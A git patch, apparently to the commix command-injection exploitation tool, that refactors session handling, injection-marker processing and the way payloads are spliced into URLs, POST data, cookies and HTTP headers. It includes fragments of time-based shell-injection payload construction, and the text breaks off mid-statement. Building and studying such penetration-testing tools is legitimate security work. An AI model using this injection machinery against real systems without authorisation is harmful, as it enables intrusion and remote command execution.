From 0d291ee45bee9a45ffce537c30035b928f6a6d98 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 2 Sep 2024 08:35:06 +0300 Subject: [PATCH] Major code refactoring regarding session handler --- doc/CHANGELOG.md | 2 + .../techniques/time_based/tb_payloads.py | 4 +- src/core/injections/controller/checks.py | 208 ++++++---- src/core/injections/controller/controller.py | 324 +++++++-------- src/core/injections/controller/handler.py | 69 ++-- src/core/injections/controller/injector.py | 10 +- src/core/injections/controller/parser.py | 1 + .../injections/controller/shell_options.py | 9 +- .../techniques/eval_based/eb_payloads.py | 2 +- .../techniques/file_based/fb_payloads.py | 2 +- .../techniques/tempfile_based/tfb_payloads.py | 2 +- src/core/main.py | 110 +++--- src/core/modules/shellshock/shellshock.py | 3 - src/core/requests/authentication.py | 8 +- src/core/requests/headers.py | 26 +- src/core/requests/parameters.py | 168 +++++--- src/core/requests/requests.py | 169 ++++---- src/core/shells/bind_tcp.py | 12 +- src/core/shells/reverse_tcp.py | 12 +- src/core/tamper/rev.py | 8 +- src/utils/common.py | 7 + src/utils/logs.py | 9 +- src/utils/menu.py | 3 +- src/utils/session_handler.py | 373 ++++++++---------- src/utils/settings.py | 40 +- src/utils/version.py | 3 +- 26 files changed, 821 insertions(+), 763 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index a28aaeefbf..79b2ba9751 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,6 @@ ## Version 4.0 (TBA) +* Revised: Major code refactoring regarding session handler. +* Revised: Minor improvement regarding options `--prefix`, `--suffix`. * Revised: Improvement regarding writing text to the stdout (console) stream. * Fixed: Minor bug-fix regarding combining custom injection marker (i.e. asterisk `*`) with `-p` option. * Revised: Improvement regarding specifying multiple injection points by appending custom injection marker (i.e. asterisk `*`). diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 1c1cb5926d..6856079054 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -182,7 +182,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): ) else: - settings.USER_SUPPLIED_CMD = cmd + settings.USER_APPLIED_CMD = cmd if separator == ";" or separator == "%0a": payload = (separator + "str=\"$(echo $(" + cmd + "))\"" + separator + @@ -317,7 +317,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met ) else: - settings.USER_SUPPLIED_CMD = cmd + settings.USER_APPLIED_CMD = cmd if separator == ";" or separator == "%0a" : payload = (separator + # Grab the execution output. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 6c76fe763a..6c381c444e 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -83,9 +83,10 @@ def check_waf(url, http_request_method): payload = settings.PARAMETER_DELIMITER + payload url = url + payload if settings.USER_DEFINED_POST_DATA: - request = _urllib.request.Request(url, settings.USER_DEFINED_POST_DATA.encode(), method=http_request_method) + request = _urllib.request.Request(remove_tags(url), remove_tags(settings.USER_DEFINED_POST_DATA).encode(), method=http_request_method) else: - request = _urllib.request.Request(url, method=http_request_method) + request = _urllib.request.Request(remove_tags(url), method=http_request_method) + headers.do_check(request) return request, url """ @@ -135,6 +136,7 @@ def process_non_custom(): message += " Do you want to process them too? [Y/n] > " process = common.read_input(message, default="Y", check_batch=True) if process in settings.CHOICE_YES: + settings.CUSTOM_INJECTION_MARKER = False settings.SKIP_NON_CUSTOM = settings.IGNORE_USER_DEFINED_POST_DATA = False return elif process in settings.CHOICE_NO: @@ -147,6 +149,24 @@ def process_non_custom(): common.invalid_option(process) pass +""" +Process the defined injectable value +""" +def process_injectable_value(payload, data): + _ = data.replace(settings.TESTABLE_VALUE, settings.RANDOM_TAG) + if settings.TESTABLE_VALUE in _.replace(settings.INJECT_TAG, ""): + return _.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload).replace(settings.RANDOM_TAG, settings.TESTABLE_VALUE) + else: + return _.replace(settings.RANDOM_TAG + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).replace(settings.RANDOM_TAG, settings.TESTABLE_VALUE) + +""" +Remove all injection tags from provided data +""" +def remove_tags(data): + if not data: + data = "" + return data.replace(settings.INJECT_TAG,"").replace(settings.CUSTOM_INJECTION_MARKER_CHAR,"").replace(settings.ASTERISK_MARKER, "").replace(settings.RANDOM_TAG, "") + """ Process data with custom injection marker character ('*'). """ @@ -156,12 +176,12 @@ def process_custom_injection_data(data): for data in data.split("\\n"): if not data.startswith(settings.ACCEPT) and settings.CUSTOM_INJECTION_MARKER_CHAR in data: if menu.options.test_parameter != None and settings.CUSTOM_INJECTION_MARKER == False: - data = data.replace(settings.CUSTOM_INJECTION_MARKER_CHAR, "") - elif settings.CUSTOM_INJECTION_MARKER: - data = data.replace(settings.CUSTOM_INJECTION_MARKER_CHAR, settings.ASTERISK_MARKER) + data = remove_tags(data) + # elif settings.CUSTOM_INJECTION_MARKER: + data = data.replace(settings.CUSTOM_INJECTION_MARKER_CHAR, settings.ASTERISK_MARKER) _.append(data) data = "\\n".join((list(dict.fromkeys(_)))).rstrip("\\n") - + return data """ @@ -169,11 +189,11 @@ def process_custom_injection_data(data): """ def custom_injection_marker_character(url, http_request_method): _ = settings.CUSTOM_INJECTION_MARKER = False + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST = [] + if url and settings.CUSTOM_INJECTION_MARKER_CHAR in url: option = "'-u'" _ = settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.URL = settings.USER_DEFINED_URL_DATA = True - # if menu.options.data: - # settings.IGNORE_USER_DEFINED_POST_DATA = True if menu.options.data and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.data: option = str(http_request_method) + " body" _ = settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.DATA = True @@ -181,13 +201,13 @@ def custom_injection_marker_character(url, http_request_method): option = "option '--headers/--user-agent/--referer/--cookie'" if menu.options.cookie and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.cookie: settings.CUSTOM_INJECTION_MARKER = settings.COOKIE_INJECTION = settings.INJECTION_MARKER_LOCATION.COOKIE = True - elif menu.options.agent and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.agent: + if menu.options.agent and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.agent: settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS = settings.USER_AGENT_INJECTION = True - elif menu.options.referer and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.referer: + if menu.options.referer and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.referer: settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS = settings.REFERER_INJECTION = True - elif menu.options.host and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.host: + if menu.options.host and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.host: settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS = settings.HOST_INJECTION = True - elif settings.CUSTOM_HEADER_CHECK and settings.CUSTOM_HEADER_CHECK != settings.ACCEPT: + if settings.CUSTOM_HEADER_CHECK and settings.CUSTOM_HEADER_CHECK != settings.ACCEPT: if settings.CUSTOM_HEADER_CHECK not in settings.TESTABLE_PARAMETERS_LIST: settings.CUSTOM_INJECTION_MARKER = True else: @@ -209,7 +229,8 @@ def custom_injection_marker_character(url, http_request_method): common.invalid_option(procced_option) pass - +""" +""" def skipping_technique(technique, injection_type, state): if settings.VERBOSITY_LEVEL != 0 and state != True: debug_msg = "Skipping test the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " @@ -219,28 +240,27 @@ def skipping_technique(technique, injection_type, state): Skipping of further tests. """ def keep_testing_others(filename, url): - if settings.SKIP_COMMAND_INJECTIONS: - while True: - message = "Do you want to keep testing the others? [y/N] > " - procced_option = common.read_input(message, default="N", check_batch=True) - if procced_option in settings.CHOICE_YES: - settings.SKIP_COMMAND_INJECTIONS = True - return - elif procced_option in settings.CHOICE_NO: - quit(filename, url, _ = False) - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(procced_option) - pass + if not settings.LOAD_SESSION: + if settings.SKIP_COMMAND_INJECTIONS: + while True: + message = "Do you want to keep testing the others? [y/N] > " + procced_option = common.read_input(message, default="N", check_batch=True) + if procced_option in settings.CHOICE_YES: + settings.SKIP_COMMAND_INJECTIONS = True + return + elif procced_option in settings.CHOICE_NO: + quit(filename, url, _ = False) + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(procced_option) + pass """ Skipping of further command injection tests. """ def skip_testing(filename, url): - if len(menu.options.tech) == 1: - settings.SKIP_COMMAND_INJECTIONS = True - else: + if not settings.LOAD_SESSION: if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: _ = " testing command injection techniques" else: @@ -252,6 +272,7 @@ def skip_testing(filename, url): procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: settings.SKIP_COMMAND_INJECTIONS = True + settings.LOAD_SESSION = False return elif procced_option in settings.CHOICE_NO: settings.SKIP_COMMAND_INJECTIONS = False @@ -313,7 +334,12 @@ def check_http_method(url): http_request_method = settings.HTTPMETHOD.GET return http_request_method +""" +Quit +""" def quit(filename, url, _): + if settings.LOAD_SESSION: + logs.logs_notification(filename) logs.print_logs_notification(filename, url) common.show_http_error_codes() if _: @@ -329,7 +355,7 @@ def user_aborted(filename, url): abort_msg += "during the " + assessment_phase() abort_msg += " phase (Ctrl-C was pressed)." settings.print_data_to_stdout(settings.print_abort_msg(abort_msg)) - quit(filename, url, _=True) + raise exit() """ Connection exceptions @@ -356,7 +382,8 @@ def not_declared_cookies(response): if settings.SET_COOKIE in response_header: _ = re.search(r'([^;]+);?', response_header[1]) if _: - set_cookie_header.append(_.group(1)) + if _.group(1).split("=")[0] not in menu.options.cookie: + set_cookie_header.append(_.group(1)) candidate = settings.COOKIE_DELIMITER.join(str(value) for value in set_cookie_header) if candidate and settings.DECLARED_COOKIES is not False and settings.CRAWLING is False: settings.DECLARED_COOKIES = True @@ -402,13 +429,28 @@ def tab_autocompleter(): error_msg = "Failed while trying to use platform's readline library." settings.print_data_to_stdout(settings.print_error_msg(error_msg)) +""" +Load commands from history. +""" +def load_cmd_history(): + try: + cli_history = os.path.join(os.path.expanduser("~"), settings.CLI_HISTORY) + if os.path.exists(cli_history): + readline.read_history_file(cli_history) + except (IOError, AttributeError, UnicodeError) as e: + warn_msg = "There was a problem loading the history file '" + cli_history + "'." + if settings.IS_WINDOWS: + warn_msg += " More info can be found at 'https://github.com/pyreadline/pyreadline/issues/30'" + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + """ Save command history. """ def save_cmd_history(): try: - cli_history = os.path.expanduser(settings.CLI_HISTORY) + cli_history = os.path.join(os.path.expanduser("~"), settings.CLI_HISTORY) if os.path.exists(cli_history): + readline.set_history_length(settings.MAX_HISTORY_LENGTH) readline.write_history_file(cli_history) except (IOError, AttributeError) as e: warn_msg = "There was a problem writing the history file '" + cli_history + "'." @@ -454,20 +496,6 @@ def print_percentage(float_percent, no_result, shell): percent = ".. (" + str(float_percent) + "%)" return percent -""" -Load commands from history. -""" -def load_cmd_history(): - try: - cli_history = os.path.expanduser(settings.CLI_HISTORY) - if os.path.exists(cli_history): - readline.read_history_file(cli_history) - except (IOError, AttributeError, UnicodeError) as e: - warn_msg = "There was a problem loading the history file '" + cli_history + "'." - if settings.IS_WINDOWS: - warn_msg += " More info can be found at 'https://github.com/pyreadline/pyreadline/issues/30'" - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - """ Get value inside boundaries. """ @@ -745,20 +773,21 @@ def assessment_phase(): Procced to the next attack vector. """ def next_attack_vector(technique, go_back): - while True: - message = "Do you want to continue with testing the " + technique + "? [y/N] > " - next_attack_vector = common.read_input(message, default="N", check_batch=True) - if next_attack_vector in settings.CHOICE_YES: - # Check injection state - assessment_phase() - return True - elif next_attack_vector in settings.CHOICE_NO: - return False - elif next_attack_vector in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(next_attack_vector) - pass + if not settings.LOAD_SESSION: + while True: + message = "Do you want to continue with testing the " + technique + "? [y/N] > " + next_attack_vector = common.read_input(message, default="N", check_batch=True) + if next_attack_vector in settings.CHOICE_YES: + # Check injection state + assessment_phase() + return True + elif next_attack_vector in settings.CHOICE_NO: + return False + elif next_attack_vector in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(next_attack_vector) + pass """ Fix single / double quote escaping. @@ -789,8 +818,15 @@ def remove_empty_lines(content): Enable pseudo-terminal shell """ def enable_shell(url): - message = settings.CHECKING_PARAMETER + " is vulnerable. " - message += "Do you want to prompt for a pseudo-terminal shell? [Y/n] > " + message = "" + if settings.LOAD_SESSION: + message = "Resumed " + message += settings.CHECKING_PARAMETER + if settings.LOAD_SESSION: + message += " injection point from stored session" + else: + message += " is vulnerable" + message += ". Do you want to prompt for a pseudo-terminal shell? [Y/n] > " if settings.CRAWLING: settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc) if not settings.STDIN_PARSING: @@ -1209,7 +1245,7 @@ def time_delay_recommendation(): Message regarding unexpected time delays due to unstable requests """ def time_delay_due_to_unstable_request(timesec): - message = "Unexpected time delays have been identified and may lead to false-positive results." + message = "Unexpected time delays that may lead to false-positive results, have been identified." settings.print_data_to_stdout(settings.END_LINE.CR) while True: message = message + " How do you want to proceed? [(C)ontinue/(s)kip] > " @@ -1344,7 +1380,7 @@ def testable_parameters(url, check_parameters, header_name): remove_skipped_params(url, check_parameters) _ = False - if len([i for i in settings.TESTABLE_PARAMETERS_LIST if i in check_parameters]) == 0: + if settings.TESTABLE_PARAMETERS or [i for i in settings.TESTABLE_PARAMETERS_LIST if i in check_parameters]: _ = True if settings.TESTABLE_PARAMETERS_LIST and isinstance(settings.TESTABLE_PARAMETERS_LIST, list): @@ -1358,7 +1394,7 @@ def testable_parameters(url, check_parameters, header_name): if non_exist_param: non_exist_param = settings.PARAMETER_SPLITTING_REGEX.join(non_exist_param).replace(settings.SINGLE_WHITESPACE, "") non_exist_param = non_exist_param.split(settings.PARAMETER_SPLITTING_REGEX) - if menu.options.level >= settings.COOKIE_INJECTION_LEVEL and \ + if settings.INJECTION_LEVEL >= settings.COOKIE_INJECTION_LEVEL and \ menu.options.test_parameter != None: if menu.options.cookie != None: if settings.COOKIE_DELIMITER in menu.options.cookie: @@ -1378,6 +1414,7 @@ def testable_parameters(url, check_parameters, header_name): # Remove the defined HTTP headers for http_header in settings.HTTP_HEADERS: if http_header in non_exist_param: + settings.TESTABLE_PARAMETERS = True non_exist_param.remove(http_header) if settings.VERBOSITY_LEVEL != 0 and non_exist_param and _: @@ -1897,6 +1934,17 @@ def json_data(data): data = json.dumps(data) return data +""" +"No parameter(s) found for testing. +""" +def no_parameters_found(): + err_msg = "No parameter(s) found for testing in the provided data " + err_msg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1'). " + if not menu.options.crawldepth: + err_msg += "You are advised to rerun with '--crawl=2'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + """ Check if the provided value is empty. """ @@ -1928,13 +1976,11 @@ def is_empty(multi_parameters, http_request_method): elif len(empty.split("=")[1]) == 0: empty_parameters.append(empty.split("=")[0]) except IndexError: - if not settings.IS_XML and not settings.IS_JSON: - err_msg = "No parameter(s) found for testing in the provided data." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + pass if len(empty_parameters) == len(multi_parameters): all_empty = True + if menu.options.skip_empty: settings.SKIP_PARAMETER = empty_parameters @@ -2006,16 +2052,6 @@ def process_data(data_type, http_request_method): common.invalid_option(process) pass -""" -Check if provided parameters are in inappropriate format. -""" -def inappropriate_format(multi_parameters): - err_msg = "The provided parameter" + "s"[len(multi_parameters) == 1:][::-1] - err_msg += (' are ', ' is ')[len(multi_parameters) == 1] - err_msg += "not in appropriate format." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - """ Check for similarity in provided parameter name and value. """ @@ -2046,7 +2082,8 @@ def check_similarities(all_params): else: if re.findall(r'(.*)=', all_params[param]) == re.findall(r'=(.*)', all_params[param]): parameter_name = ''.join(re.findall(r'=(.*)', all_params[param])) - all_params[param] = parameter_name + "=" + parameter_name + settings.RANDOM_TAG + if parameter_name: + all_params[param] = parameter_name + "=" + parameter_name + settings.RANDOM_TAG elif re.findall(r'=(.*)', all_params[param])[0] in re.findall(r'(.*)=', all_params[param])[0]: parameter_name = ''.join(re.findall(r'(.*)=', all_params[param])) parameter_value = ''.join(re.findall(r'=(.*)', all_params[param])) @@ -2699,6 +2736,15 @@ def file_upload(): common.invalid_option(enable_HTTP_server) pass +def define_vulnerable_http_header(http_header_name): + if http_header_name == settings.USER_AGENT.lower(): + settings.USER_AGENT_INJECTION = True + elif http_header_name == settings.REFERER.lower(): + settings.REFERER_INJECTION = True + elif http_header_name == settings.HOST.lower(): + settings.HOST_INJECTION = True + return http_header_name + """ Check for wrong flags """ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index c4bb2ad3ea..0701ea9be0 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -41,7 +41,6 @@ """ def basic_level_checks(): - settings.LOAD_SESSION = None settings.TIME_RELATIVE_ATTACK = False settings.SKIP_CODE_INJECTIONS = None settings.SKIP_COMMAND_INJECTIONS = None @@ -50,28 +49,29 @@ def basic_level_checks(): settings.IDENTIFIED_PHPINFO = False """ -Check for previously stored sessions. +Initializing HTTP Headers parameters injection status """ -def check_for_stored_sessions(url, http_request_method): - if not menu.options.ignore_session: - if os.path.isfile(settings.SESSION_FILE) and not settings.REQUIRED_AUTHENTICATION: - if session_handler.applied_techniques(url, http_request_method): - settings.SESSION_APPLIED_TECHNIQUES = session_handler.applied_techniques(url, http_request_method) - # menu.options.tech = settings.SESSION_APPLIED_TECHNIQUES - if session_handler.check_stored_parameter(url, http_request_method): - if not settings.MULTI_TARGETS or not settings.STDIN_PARSING: - settings.LOAD_SESSION = True - return True +def init_http_header_injection_status(): + settings.HTTP_HEADERS_INJECTION = None + settings.USER_AGENT_INJECTION = None + settings.REFERER_INJECTION = None + settings.HOST_INJECTION = None """ -Check for previously stored injection level. +Initializing Cookie parameters injection status """ -def check_for_stored_levels(url, http_request_method): - if not menu.options.ignore_session: - if menu.options.level == settings.DEFAULT_INJECTION_LEVEL: - menu.options.level = session_handler.applied_levels(url, http_request_method) - if type(menu.options.level) is not int : - menu.options.level = settings.DEFAULT_INJECTION_LEVEL +def init_cookie_injection_status(): + settings.COOKIE_INJECTION = None + +""" +Check for previously stored sessions. +""" +def check_for_stored_sessions(url, check_parameter, http_request_method): + if not menu.options.ignore_session and not menu.options.flush_session: + if os.path.isfile(settings.SESSION_FILE) and not settings.REQUIRED_AUTHENTICATION: + if settings.LOAD_SESSION == None: + url, check_parameter = session_handler.check_stored_injection_points(url, check_parameter, http_request_method) + return url, check_parameter """ Heuristic request(s) @@ -80,32 +80,54 @@ def heuristic_request(url, http_request_method, check_parameter, payload, whites data = None cookie = None tmp_url = url - payload = parameters.prefixes(payload, prefix="") - payload = parameters.suffixes(payload, suffix="") + payload, prefix = parameters.prefixes(payload, prefix="") + payload, suffix = parameters.suffixes(payload, suffix="") payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) payload = checks.perform_payload_modification(payload) if settings.VERBOSITY_LEVEL >= 1: settings.print_data_to_stdout(settings.print_payload(payload)) if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: payload = checks.payload_fixation(payload) - cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) - elif not settings.IGNORE_USER_DEFINED_POST_DATA and menu.options.data and settings.INJECT_TAG in menu.options.data: - data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + cookie = checks.process_injectable_value(payload, menu.options.cookie).encode(settings.DEFAULT_CODEC) + # if settings.TESTABLE_VALUE in menu.options.cookie.replace(settings.INJECT_TAG, ""): + # cookie = menu.options.cookie.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload).encode(settings.DEFAULT_CODEC) + # else: + # cookie = menu.options.cookie.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + else: + cookie = checks.remove_tags(menu.options.cookie).encode(settings.DEFAULT_CODEC) + + if not settings.IGNORE_USER_DEFINED_POST_DATA and menu.options.data and settings.INJECT_TAG in menu.options.data: + data = checks.process_injectable_value(payload, menu.options.data).encode(settings.DEFAULT_CODEC) + # if settings.TESTABLE_VALUE in menu.options.data.replace(settings.INJECT_TAG, ""): + # data = menu.options.data.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload).encode(settings.DEFAULT_CODEC) + # else: + # data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: - if settings.INJECT_TAG in url: - tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) + if settings.USER_DEFINED_POST_DATA: + settings.USER_DEFINED_POST_DATA = checks.remove_tags(settings.USER_DEFINED_POST_DATA) + data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) + if settings.INJECT_TAG in url: + tmp_url = checks.process_injectable_value(payload, url) + # if settings.TESTABLE_VALUE in url.replace(settings.INJECT_TAG, ""): + # tmp_url = url.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload) + # else: + # tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) + else: + tmp_url = checks.remove_tags(tmp_url) + url = checks.remove_tags(url) + request = _urllib.request.Request(tmp_url, data, method=http_request_method) if cookie: request.add_header(settings.COOKIE, cookie) if check_parameter_in_http_header(check_parameter) and check_parameter not in settings.HOST.capitalize(): settings.CUSTOM_HEADER_NAME = check_parameter - if settings.INJECT_TAG in settings.CUSTOM_HEADER_VALUE: - request.add_header(check_parameter, settings.CUSTOM_HEADER_VALUE.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)) + if settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, "") in settings.CUSTOM_HEADER_VALUE: + request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, "").replace(settings.CUSTOM_HEADER_VALUE, payload).encode(settings.DEFAULT_CODEC)) else: - request.add_header(check_parameter, (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) + request.add_header(settings.CUSTOM_HEADER_NAME, payload.encode(settings.DEFAULT_CODEC)) headers.do_check(request) response = requests.get_request_response(request) - return response + return response, url """ Heuristic (basic) tests for command injection @@ -120,11 +142,11 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, try: checks.perform_payload_modification(payload="") for whitespace in settings.WHITESPACES: - if not settings.IDENTIFIED_COMMAND_INJECTION or settings.MULTI_TARGETS: + if not settings.IDENTIFIED_COMMAND_INJECTION: _ = 0 for payload in basic_payloads: _ = _ + 1 - response = heuristic_request(url, http_request_method, check_parameter, payload, whitespace) + response, url = heuristic_request(url, http_request_method, check_parameter, payload, whitespace) if type(response) is not bool and response is not None: html_data = checks.page_encoding(response, action="decode") match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data) @@ -159,9 +181,9 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t settings.EVAL_BASED_STATE = True try: whitespace = settings.SINGLE_WHITESPACE - if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO) or settings.MULTI_TARGETS: + if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO): for payload in settings.PHPINFO_CHECK_PAYLOADS: - response = heuristic_request(url, http_request_method, check_parameter, payload, whitespace) + response, url = heuristic_request(url, http_request_method, check_parameter, payload, whitespace) if type(response) is not bool and response is not None: html_data = checks.page_encoding(response, action="decode") match = re.search(settings.CODE_INJECTION_PHPINFO, html_data) @@ -259,17 +281,20 @@ def filebased_command_injection_technique(url, timesec, filename, http_request_m Check parameter in HTTP header. """ def check_parameter_in_http_header(check_parameter): - inject_http_headers = False if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS) or \ check_parameter.lower() in settings.CUSTOM_HEADER_NAME.lower(): if settings.ACCEPT_VALUE not in settings.CUSTOM_HEADER_VALUE: inject_http_headers = True + else: + inject_http_headers = False + init_http_header_injection_status() return inject_http_headers """ Proceed to the injection process for the appropriate parameter. """ def injection_proccess(url, check_parameter, http_request_method, filename, timesec): + settings.NOT_TESTABLE_PARAMETERS = False for i in range(0,int(settings.OS_CHECKS_NUM)): if settings.CHECK_BOTH_OS: if i == 0: @@ -279,15 +304,20 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if settings.PERFORM_BASIC_SCANS: checks.keep_testing_others(filename, url) + if not settings.LOAD_SESSION: + settings.LOAD_SESSION = None basic_level_checks() inject_http_headers = check_parameter_in_http_header(check_parameter) + if inject_http_headers: + checks.define_vulnerable_http_header(check_parameter) + # User-Agent/Referer/Host/Custom HTTP header Injection(s) - if check_parameter.startswith(settings.SINGLE_WHITESPACE): + if any((settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION, settings.CUSTOM_HEADER_INJECTION)): header_name = "" - the_type = "HTTP header" - inject_parameter = " '" + check_parameter.strip() + "'" + the_type = "HTTP Header" + inject_parameter = " parameter '" + check_parameter + "'" else: if settings.COOKIE_INJECTION: header_name = settings.COOKIE @@ -304,7 +334,8 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time # checks.tamper_scripts(stored_tamper_scripts=False) settings.CHECKING_PARAMETER = "" - if not header_name == settings.COOKIE and not the_type == "HTTP header": + settings.TESTABLE_PARAMETER = check_parameter + if not header_name == settings.COOKIE and not the_type == "HTTP Header": settings.CHECKING_PARAMETER = checks.check_http_method(url) settings.CHECKING_PARAMETER += ('', ' JSON')[settings.IS_JSON] + ('', ' SOAP/XML')[settings.IS_XML] if header_name == settings.COOKIE : @@ -314,10 +345,11 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if check_parameter in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST: settings.CHECKING_PARAMETER = "(custom) " + settings.CHECKING_PARAMETER - - info_msg = "Setting " + settings.CHECKING_PARAMETER + " for tests." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - + + if not settings.LOAD_SESSION: + info_msg = "Setting " + settings.CHECKING_PARAMETER + " for tests." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if menu.options.skip_heuristics: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping heuristic (basic) tests to the " + settings.CHECKING_PARAMETER + "." @@ -359,7 +391,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time # Procced with file-based semiblind command injection technique, # once the user provides the path of web server's root directory. - if menu.options.web_root and not settings.SESSION_APPLIED_TECHNIQUES and not "f" in menu.options.tech: + if menu.options.web_root and settings.USER_APPLIED_TECHNIQUE and not "f" in menu.options.tech: if not menu.options.web_root.endswith("/"): menu.options.web_root = menu.options.web_root + "/" if checks.procced_with_file_based_technique(): @@ -376,54 +408,65 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time warn_msg += settings.CHECKING_PARAMETER warn_msg += " does not seem to be injectable." settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) + else: + if settings.LOAD_SESSION: + checks.quit(filename, url, _ = False) if not settings.CHECK_BOTH_OS: break """ -Inject HTTP headers (User-agent / Referer / Host) (if level > 2). +Perform checks over custom HTTP Headers parameters. +""" +def custom_headers_checks(url, http_request_method, filename, timesec): + # # Disable Cookie Injection + # settings.COOKIE_INJECTION = None + + for name in range(len(settings.CUSTOM_HEADERS_NAMES)): + if settings.ASTERISK_MARKER in settings.CUSTOM_HEADERS_NAMES[name].split(": ")[1] and not settings.CUSTOM_INJECTION_MARKER: + settings.CUSTOM_HEADER_INJECTION = False + else: + settings.CUSTOM_HEADER_INJECTION = True + settings.CUSTOM_HEADER_NAME = settings.CUSTOM_HEADERS_NAMES[name].split(": ")[0] + settings.HTTP_HEADER = check_parameter = header_name = settings.CUSTOM_HEADER_NAME.lower() + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(check_parameter) if check_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.CUSTOM_HEADER_VALUE = settings.CUSTOM_HEADERS_NAMES[name].split(": ")[1].replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) + url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) + if check_parameter != header_name or not injection_proccess(url, check_parameter, http_request_method, filename, timesec): + 